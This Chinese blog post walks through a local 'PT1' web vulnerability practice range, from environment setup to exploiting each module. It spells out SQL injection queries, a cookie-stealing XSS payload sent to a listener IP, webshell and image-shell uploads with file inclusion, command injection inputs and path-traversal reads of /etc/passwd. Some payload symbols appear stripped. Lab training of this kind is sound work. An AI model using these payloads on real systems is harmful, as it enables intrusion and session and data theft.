ARTICLE DETAIL

资讯详情

深耕编程入门与网站建设的一线实战洞察。

PT1靶场速通:Web漏洞利用与渗透测试实战记录

PT1靶场速通:Web漏洞利用与渗透测试实战记录 PT1靶场速通这标题我自己看到第一反应就是——又有人蹲在调试环境上卡了半天。PT1这个东西严格来说不是某个官方出品更像是一类综合型Web漏洞靶场的代称常见形态是把OWASP Top 10里那套高发漏洞按照关卡提示的方式打包进一个PHP应用里让你从信息收集一路打到命令执行。我这次速通的PT1版本是朋友给的集成包里面塞了SQL注入、XSS、文件上传、爆破、命令执行等十几个模块目标是八小时内全通。这篇不是什么官方文档就是我自己的实战记录。适合刚学完Web安全基础、想在动手层面补课的人也适合那些已经搭过Pikachu或DVWA、想换个综合环境练手的老手。不管你是想快速走一遍漏洞利用流程还是想借着靶场把BurpSuite、SQLMap这些工具练熟看这一篇基本够了。1. 速通之前先弄明白PT1的靶场结构1.1 PT1到底是什么类型的靶场PT1这个名字本身并没有一个官方的定义我了解的PT1通常是安全培训班或者内部实验室里流传的一套Web综合靶场部署形态就是一个PHP工程加MySQL数据库跑在集成环境上。相比DVWA那种按难度分级的教育型靶场PT1更像Pikachu的加强版——每个漏洞点都是一个独立模块页面上会明确告诉你这个模块考察什么甚至给一点payload提示但不会像DVWA那样直接给代码审计入口很多信息需要你自己去抓包、翻前端代码才能拿到。所以PT1的通关思路和Pikachu高度相似。你要做的不是到处扫漏洞而是按模块逐个触发漏洞。这一点很关键因为不少人一上来就拿扫描器全目录扫结果把靶场自带的一些提示文件翻出来反而忽视了每个模块本身的设计意图白白浪费时间。拿我自己举例第一次碰PT1的时候我先把目录扫描器挂上扫了一堆php、bak、txt文件出来开心了半天结果发现那些文件都是靶场自带的备份文件对通关屁用没有。后来我老老实实从首页菜单点进去才发现每个模块的入口和提示都写得清清楚楚十秒钟就能定位目标。速通的本质是理解靶场设计者的出题思路而不是跟靶场硬碰硬。1.2 通关逻辑和判定标准PT1这类靶场通常没有非常严格的通关判定核心标准就是每个漏洞模块的利用结果是否达成预期。比如SQL注入模块判定标准可能是能否拿到数据库里的flag字符串XSS模块则是能否在页面上成功弹出弹窗或完成指定的cookie窃取动作文件上传模块就是能否上传一个可执行的webshell。这种判定逻辑决定了一个事儿速通不追求全面深入追求的是最短路径到达每一个漏洞触发点。所以第一步是摸清整个靶场有哪些模块、每个模块的入口在哪里、用什么参数触发。我通常的做法是先手动点一遍所有导航菜单把每个页面的URL和行为记下来再翻一遍前端JS和隐藏表单字段把可能的参数全部列出来。这个过程看着笨但比拿扫描器硬扫快得多而且能帮你理解每个模块的交互逻辑。PT1的各个模块之间还有一个有意思的设计部分模块的利用结果会互相联动。比如文件上传模块传上去了一个webshell接下来命令执行模块就可以直接调用这个shell去执行命令而不需要单独再打一遍。这种联动关系在速通里特别值得利用能省下不少重复测试的时间。1.3 速通前的环境和工具准备磨刀不误砍柴工。PT1靶场速通环境上基本就是一套本地集成环境我用的phpstudy一个数据库客户端Navicat或者命令行MySQL都行再加BurpSuite作为抓包改包主力。浏览器我建议装一个带SwitchyOmega的Firefox或者Chrome把代理指向Burp的127.0.0.1:8080这样动静都看得到。还需要准备一些顺手的小工具SQLMap可以留着打复杂注入点但前面几个简单模块尽量手注不然你根本不知道SQLMap在干什么一个本地起好的nc用于监听反弹shell或者接收XSS的cookie密码字典准备一份精简的top100就够了别一上来跑几百万的大字典靶场爆破模块的验证码逻辑通常很弱top100足够。我这套环境准备了不到二十分钟其中大部分时间花在找PHP版本兼容性上这个后面会详细说。但准备工具的时候有一点想提醒千万不要在速通过程中频繁换工具。我见过有人手注到一半嫌慢切了SQLMapSQLMap跑了半天又切回手注结果两头都没搞明白。一个环节一个工具想清楚这个环节要验证什么再决定用什么反倒快得多。2. 搭建和启动阶段环境坑位逐个填2.1 部署形态和版本兼容性PT1的源码包拿到手后常见的部署方式就是解压到phpstudy的WWW目录导入SQL文件改数据库配置然后访问地址。说起来简单但实际坑不少。我拿到的那版PT1是基于PHP 5.6开发的里面用了一些老函数和写法放到PHP 7.4或者8.0上直接报错或者白屏。这里最重要的建议是先看源码包里的说明文件确定目标PHP版本。如果说明文件没写就看代码里的函数。比如看到mysql_connect这样的老函数基本就是PHP 5.x看到mysqli或者PDOPHP 5.6到7.x都能跑。我在速通时直接给phpstudy切到PHP 5.6一次性搞定。还有个容易忽略的点是phpstudy的端口占用。PT1默认可能跑在80或者8080端口如果你机器上装了其他Web服务或者Windows的IIS、SQL Server Reporting Services之类的服务占用了80端口phiStudy就会提示启动失败。解决方式很简单在phpstudy里改一下端口比如改成81然后访问http://localhost:81把靶场的数据库配置文件里如果有写死端口的地方也同步改掉就行。2.2 数据库导入与配置常见坑SQL文件导入失败是另一个高频问题。PT1的SQL文件通常比较大里面还可能带着触发器和存储过程用phpMyAdmin导入经常超时或者编码乱掉。我建议直接用命令行导入MySQL 5.7版本下执行效率高且不容易出幺蛾子。导入之前先在数据库管理工具里建好空库注意字符集选utf8mb4不然中文数据全是问号。具体导入命令大概长这样mysql -uroot -proot -e create database pt1 default charset utf8mb4; mysql -uroot -proot pt1 /path/to/pt1.sql第一行建库第二行导入数据。如果你本地的MySQL密码不是root把命令里的密码改成你自己的就行。这一步看着简单但能在速通开始前省下大把时间——我见过太多人卡在phpMyAdmin导入超时上反复导了四五次都没成功最后换命令行一分钟搞定。数据库配置文件一般叫config.php或者conn.php里面是数据库名、用户名、密码三个参数。改配置时最容易踩的坑是密码里面有特殊字符比如或者#phpstudy默认的MySQL root密码是root如果你自己改过记得同步把配置文件也改了。还有一个细节如果用命令行导入时指定了字符集但网页访问还是乱码那就要检查config.php里有没有set names utf8这类的设置没有的话手动加上。2.3 靶场访问后白屏或者报错如果访问靶场首页直接白屏多半是PHP版本不对或者缺少扩展。常见缺少的扩展有php_gd2、php_curl、php_mbstring这些在phpstudy的扩展管理里勾上就行。如果是开启报错后看到某个函数未定义就去查对应的扩展装没装。还有一种情况首页出来了但是点某个模块进去直接404或者跳转到安装页面。这种一般是路径配置问题PT1源码里有的模块用了绝对路径比如/PT1/xxx.php如果你把目录名改了就会404。建议保持目录名和源码包一致别手贱改成中文目录名我之前在Windows下用中文目录名跑过一次结果一堆路径拼接直接崩了。再补充一个报错排查技巧如果页面出现mysqli_connect(): (HY000/2002)这类错误说明数据库连接失败。这时候挨个检查MySQL服务有没有启动、数据库名对不对、用户名密码匹配不匹配、端口是不是3306如果改过端口配置里也要改。这三板斧下来九成数据库连接问题都能解决。2.4 用Docker部署PT1的备选方案除了本地集成环境现在很多PT1的版本也支持Docker部署。如果你不想在Windows上装一堆乱七八糟的运行库Docker其实是更干净的选择。Docker方式部署PT1通常只需要两样东西一个官方或第三方做好的镜像一个MySQL容器。启动命令大概类似这样docker pull 某个PT1镜像 docker run -d -p 8080:80 --name pt1-web 某个PT1镜像 docker run -d -p 3306:3306 --name pt1-db -e MYSQL_ROOT_PASSWORDroot mysql:5.7两行命令把Web和数据库都拉起来然后再进入Web容器导入SQL文件比手动配环境快多了。但Docker方式也有坑最大的坑是容器里的PHP版本和数据库连接配置多半要手动改尤其要确认Web容器里能不能连通数据库容器的IP和端口。我个人的建议是如果电脑性能还行、硬盘空间也够直接本地集成环境最省心如果环境很乱、装的东西太多Docker反而干净好收拾。3. 正式速通逐模块实测路线3.1 第一站信息收集与登录入口分析PT1首页一般会有一个欢迎页面列出所有模块。我的习惯是先用浏览器的开发者工具看一下页面的网络请求把登录入口、隐藏字段、注释信息都翻一遍。别小看这一步PT1很多模块的提示就藏在HTML注释里比如某个参数叫pass、某个接口校验不严。登录模块在PT1里一般有两种一种是基于表单的暴力破解一种是带有图形验证码的弱口令测试。针对基于表单的爆破直接抓包看提交参数然后用BurpSuite的Intruder模块跑top100字典。密码常见的就是admin/admin123、test/test、root/root这一套基本两三分钟就能过。带验证码的那个模块先看看验证码能不能复用有的靶场验证码是前端生成的不绑定session那你直接把上一次的验证码值重复提交就行这属于设计缺陷但靶场嘛考察的就是你有没有这个意识。登录入口分析还有一个容易被忽略的地方响应头里的Set-Cookie和跳转路径。有些登录模块虽然账号密码不对但会在Set-Cookie里泄露出一些用户信息或者通过302跳转暴露后台地址。用BurpSuite的History面板把所有请求过一遍这些细节特别容易成为突破口。3.2 SQL注入模块手注优先工具殿后PT1的SQL注入模块通常会做两到三个点数字型注入和字符型注入各一个再加一个搜索框注入。数字型最简单直接在URL后面加and 11和and 12判断差异如果结果集不一样就确定存在注入。字符型的要先把单引号闭合好比如在参数后面加看是否报错再用or 11--绕过。这里分享一个速通小技巧PT1的SQL模块多半是竖直排列的不需要在判断字段数上花太多时间。直接order by n一个个试n从1试到10一般3到5个字段就出来了。字段数确定后就是union select注意占位符要填够比如字段数是5那union select 1,2,3,4,5看哪几个数字回显在页面上再替换成敏感函数。信息库名用database()版本用version()表名就是group_concat(table_name) from information_schema.tables。以数字型注入点为例整个流程走一遍大概是# 第一步判断注入 ?id1 and 11 -- 正常返回数据 ?id1 and 12 -- 无返回或页面异样 # 第二步判断字段数 ?id1 order by 3 -- 返回正常 ?id1 order by 4 -- 报错说明字段数为3 # 第三步确认回显位 ?id-1 union select 1,2,3 -- 页面上出现2和3那就替换它们 # 第四步拖库名和表名 ?id-1 union select 1,database(),group_concat(table_name) from information_schema.tables注意第三步那个-1为什么不是1因为正常查询id1时会返回数据UNION后面查询的结果会拼接在后面页面可能只显示第一条数据看不到注入结果。把id改成-1让前面查不到数据UNION的查询结果就直接显示出来了。这个细节特别重要很多人卡在这里以为注入不成功其实只是没有把前面的数据清空而已。SQLMap当然也能打但我在PT1速通时只在最后一个搜索框注入上用了它因为那个点有过滤手注要绕半天。SQLMap命令就是sqlmap -u 目标URL --batch --dbs跑出库名后进去拖表。跑的时候注意加--dbmsmysql不然它默认各种数据库都测一遍浪费时间。用SQLMap确认了注入点之后再针对过滤规则手写一个绕过payload这样反而比纯手工快很多。3.3 XSS模块从反射到存储XSS模块在PT1里一般四个点反射型、存储型、DOM型、还有一个小饼干窃取。反射型最简单直接在输入框提交 如果弹窗说明存在反射型XSS且没有过滤。存储型则要注意提交后在哪个页面显示通常提交到留言板后后台管理页面会加载你插的脚本会在管理员查看时执行——这就是存储型XSS的完整链路。DOM型XSS比较考验前端功底。它不走服务端过滤完全是前端JS把URL参数取出来拼到页面上导致的。用浏览器开发者工具看Sources里的JS找哪里用了location、href、document.write之类的函数然后构造URL去触发。PT1里的DOM型模块一般会给一个输入点你输入的内容会出现在页面的某个DOM节点里但它不会提交给后端所以要直接在浏览器的地址栏构造payload而不是依赖表单提交。小饼干窃取模块就是典型的存储型XSS加外部接收你在输入框提交一个带img srchttp://你本机IP:端口/xx?cdocument.cookie的payload注意这里要用HTML实体或者拼接方式绕过过滤然后在你本机用nc监听端口等管理员触发后收到cookie。这个模块在速通时最值得做因为能帮你把XSS盗cookie的流程走通后面做真实渗透的时候思路也开阔。具体操作里我用的nc监听命令是nc -lvp 8888然后在留言框提交类似这样的payloadscriptdocument.locationhttp://192.168.1.100:8888/?cdocument.cookie/script等后台管理员或你自己在另一个浏览器里触发访问到这条留言nc那边就会收到一个带cookie的HTTP请求。收到cookie之后你可以试着把cookie手动注入到浏览器里看看能不能登录管理员后台——这一步在PT1里通常能直接解锁一个隐藏模块算是个彩蛋。3.4 文件上传与命令执行组合拳文件上传模块一般给两个关卡第一关是只校验后缀名第二关会检查Content-Type或者文件头。第一关直接传一个test.php内容是短标签或者完整标签都行访问上传后的文件路径加参数cmdipconfigWindows靶场或者cmdidLinux靶场验证执行。这一步走通了基本就等于拿到半个shell了。第二关就讲究了。如果后端检查Content-Type你就在Burp里把上传请求的Content-Type改成image/png这个好绕。如果检查文件头那就在PHP代码前面加上GIF89a组成图片马再用文件包含或者解析漏洞去执行。PT1这个靶场里通常还配了一个文件包含模块专门配合图片马用——你把图片马传上去然后在文件包含模块里包含它PHP代码就会被解析执行一条链路直接打通。文件包含模块的利用方式一般是这样的?page/var/www/html/upload/xxx.jpg或者相对路径?page../upload/xxx.jpg重点在于你得知道图片马传上去之后存到了哪个路径。路径可以通过翻页面的源码注释、观察上传后的跳转、或者看上传成功的回显信息来判断。我在PT1里就是先从上传成功的响应里找到了图片的访问地址然后让文件包含模块去包含这个地址PHP代码顺利执行命令注入也顺势就通了。命令执行模块更直接就是一个Ping测试功能很多靶场喜欢拿它考察命令注入。你提交一个127.0.0.1;id或者127.0.0.1|whoami如果命令结果回显出来那就是命令注入。注意分号、管道符、这些符号各自的意义靶场里有的过滤了分号但没过滤管道符多试几种组合别在一个符号上死磕。如果在Ping功能里试了各种符号都没反应还有一个思路换一个注入点。命令执行模块不一定只在Ping功能里页面上可能有另一个输入框是执行系统命令的或者是一个可控的include参数。把整个模块里的所有参数都列出来挨个试一遍总有一个能弹回显。我速通时就是在Ping功能里卡了十几分钟最后发现旁边的系统信息按钮请求里带了一个cmd参数直接命令执行了。3.5 越权、目录遍历和其他小关卡除了上面几个主模块PT1一般还把越权、目录遍历、敏感信息泄露这些点做成小关卡。越权就是直接改URL里的ID看能不能访问别人的订单或者个人信息考察的是你有没有改参数试试的意识。目录遍历则是经典的点../配合编码反复试看能不能读到靶场自身的配置文件。越权模块在PT1里的形态通常是一个查看用户详情的功能URL长这样/user/detail.php?id1当你把它改成id2、id3、id100如果能看到其他用户的手机号或者密码字段这就是水平越权。如果你还能看到管理员专属的操作按钮那就更严重了是垂直越权。这类关卡不需要复杂的payload纯粹考验你有没有耐心把参数一个个试完。目录遍历的测试套路是/file/download.php?filenametest.txt 改成 /file/download.php?filename../../../../etc/passwdWindows靶场则试/file/download.php?filename..\..\..\..\windows\win.ini如果页面直接明文回显文件内容说明目录遍历成功。有些靶场会做简单的过滤比如把../替换成空那就试试..././这种绕过方式或者用URL编码%2e%2e%2f。反正这类题目不需要太多技巧耐心试就能出结果。这些奇技淫巧在速通里占比不大但非常考验细心程度。我的经验是每个页面都手动改一遍URL里的数字参数每个输入框都提交一次超长字符串或者特殊符号看反应花了不了多少时间但经常能白捡几个flag。速通不是看你大招多华丽而是看你能不能把最简单的事情做到位。4. 高频坑位与排查技巧4.1 BurpSuite抓不到靶场的包这个问题超级常见。靶场跑在本地代理也配好了但是BurpSuite就是抓不到请求页面直接报错或者卡住不加载。原因九成是代理配置和Burp监听端口不匹配Burp的Proxy监听的是127.0.0.1:8080浏览器代理也必须是127.0.0.1:8080如果浏览器用了自动配置脚本或者代理插件指向了别的端口当然抓不到。另一个原因是浏览器的代理插件默认排除了本地地址。Chrome和Firefox都有对本地地址不代理的逻辑你在浏览器代理设置里访问localhost或者127.0.0.1时流量根本不走代理直接绕过Burp了。解决方法是手动把本地地址加入代理列表或者访问的时候用本机局域网IP比如192.168.1.100代替localhost这样就能强制走代理了。还有一个细节BurpSuite默认只监听127.0.0.1如果靶场的访问地址是192.168.x.x也会抓不到。这时候去Proxy Settings的Bind to address改成All interfaces同时把Inspector里的HTTP和HTTPS都勾上问题就解决了。再有就是有些靶场页面用了WebSocket通信这部分请求在HTTP history里看不到需要去WebSocket history标签看。4.2 页面回显乱码与编码问题速通PT1时遇到页面上一堆中文乱码十有八九是数据库字符集没设对。导入SQL之前建库时选utf8mb4导入后再检查一下config里的连接字符集设置有些老代码会在连接数据库后手动执行set names gbk这也会导致前后端字符集不一致。编码问题还会影响注入判断。如果页面里全是乱码你根本看不出and 12以后结果有没有变化这时候可以先不管编码直接靠响应包长度做对比。BurpSuite里把两个请求发到Comparer里对比响应长度和关键词差异乱码也能判断出注入点存不存在。比如你在Burp里分别发送id1 and 11和id1 and 12这两个请求即使页面显示乱码只要响应包长度不同就能确认存在注入。这是个非常实用的技巧尤其是面对老靶场等常见中文乱码环境时可比硬着头皮看乱码页面高效多了。4.3 靶场被改坏之后的恢复速通过程中最容易做的事就是把靶场改坏。SQL注入把某个表删了、上传了一个报错的webshell、XSS脚本把页面布局搞乱这些都可能导致后面模块没法继续测。我在PT1上至少毁了三次环境前两次老老实实重新导入数据库第三次聪明了。我的恢复套路是这样的数据库文件在源码包里通常有个类似pt1.sql的文件在MySQL命令行里直接source导入一分钟搞定如果页面文件被污染那就对照源码包里同名文件覆盖回去。所以速通之前务必先把原始源码包备份一份路径就在D盘或者U盘上放着改坏了就覆盖比重新解压快得多。还有一个小技巧建库的时候不要直接用pt1这个名字可以建一个pt1_bak先把原始数据导入进去然后把config.php指向这个备份库。这样即使主库被你删得乱七八糟只要改一下config指向就能秒恢复不用重新导入SQL。这个套路我在后来的Pikachu和DVWA练习里也一直用真心推荐。4.4 常见的判断失误与心理坑速通最大的敌人不是技术是心理。很多人卡在一个模块超过二十分钟就开始怀疑自己然后疯狂翻工具书、看教程但问题往往特别简单——参数名看错了、payload里多了一个空格、引号转义不对。我的建议是设定一个十五分钟规则单个模块超过十五分钟还没进展就停下来把请求包重新看一遍把报错信息复制到搜索引擎里精确查一下很多时候一眼就能发现问题。另外就是别频繁切工具。手注到一半觉得慢就开SQLMapSQLMap跑了半天又切回手注这样两头都没搞好。想清楚你当前的判定条件是什么是确认注入点还是拖取数据再决定用什么工具一个环节一个工具速通反而快。最后说一句很多人一卡住就急着搜PT1 通关教程但网上的教程大多是别人当时的截图和思路环境细节跟你手里这版不一定一致。与其满世界找标准答案不如自己把报错信息和页面表现读透。速通练的就是这种快速定位和试错的能力被卡住的每一分钟都是这种能力在长肉的阶段。5. 通关后的复盘比速通本身更重要的事5.1 每关都重建一遍攻击链速通通关不代表你掌握了老实说我第一遍速通PT1很多模块都是试出来的比如XSS那个payload是网上抄的、SQL注入的字段顺序是猜的。所以通关后我又花了一个晚上把每个模块的攻击链从头到尾在笔记本上画了一遍入口是什么、用了什么参数、提交了什么payload、为什么这个payload能生效、如果后端做了过滤该怎么绕过。这个过程才是真正长本事的地方。靶场里的payload大多是理想情况真实环境会有WAF、有过滤、有各种业务逻辑限制你能不能在靶场里把一个payload的每一个字符都搞明白直接决定了你在实战里遇到拦截时能不能改出来能绕过的变体。比如SQL注入里的#和--就是两个完全不同的注释写法PT1的某个模块可能只认#换个模块可能只认--。如果你在复盘时把这两种写法的差异和适用场景弄清楚以后再遇到类似过滤规则就不会两眼一抹黑。我把这种复盘笔记称为最小可利用payload库不追求大而全只记录自己真正验证过能生效的东西。5.2 进阶方向与扩展练习PT1速通完之后如果想继续往深处走我推荐几个方向。第一个是把PT1装到Docker里配合Metasploit做内网渗透的入口因为靶场本身就是个Web应用拿下一个WebShell后可以试着提权、内网横向这比单纯刷Web漏洞有意思得多。第二个是去Vulnhub上找几个类似难度的Linux靶场比如DC系列练手它们会考到服务探测、漏洞利用、提权这些更加综合的技能。第三个是把PortSwigger的Web Security Academy的题目按模块刷一遍那个是纯英文的在线靶场题目质量很高而且每道题都附了官方思路讲解查缺补漏非常合适。当然如果目标是打CTF比赛那PT1这种靶场只能算入门前的热身后续需要把重点转向逆向、加密、流量分析这些方向。但Web方向的基本功在这类综合靶场里打好底子总比一上来就刷复杂题目要扎实得多。我在实际速通PT1的时候最大的感受不是我多会挖洞而是我多会安排自己的排查顺序。速通这种事儿环境准备好、思路捋顺了一个下午就能打完反过来环境卡三个小时、每个模块都试一半放弃那就一周也通不了。所以这篇文里我写的每个坑几乎都对应着我自己的真实失误希望能帮你把踩坑时间省下来用到该用的地方去。速通的终点不是通关截图是你真的把一个payload从头到尾想明白了。共勉。
返回列表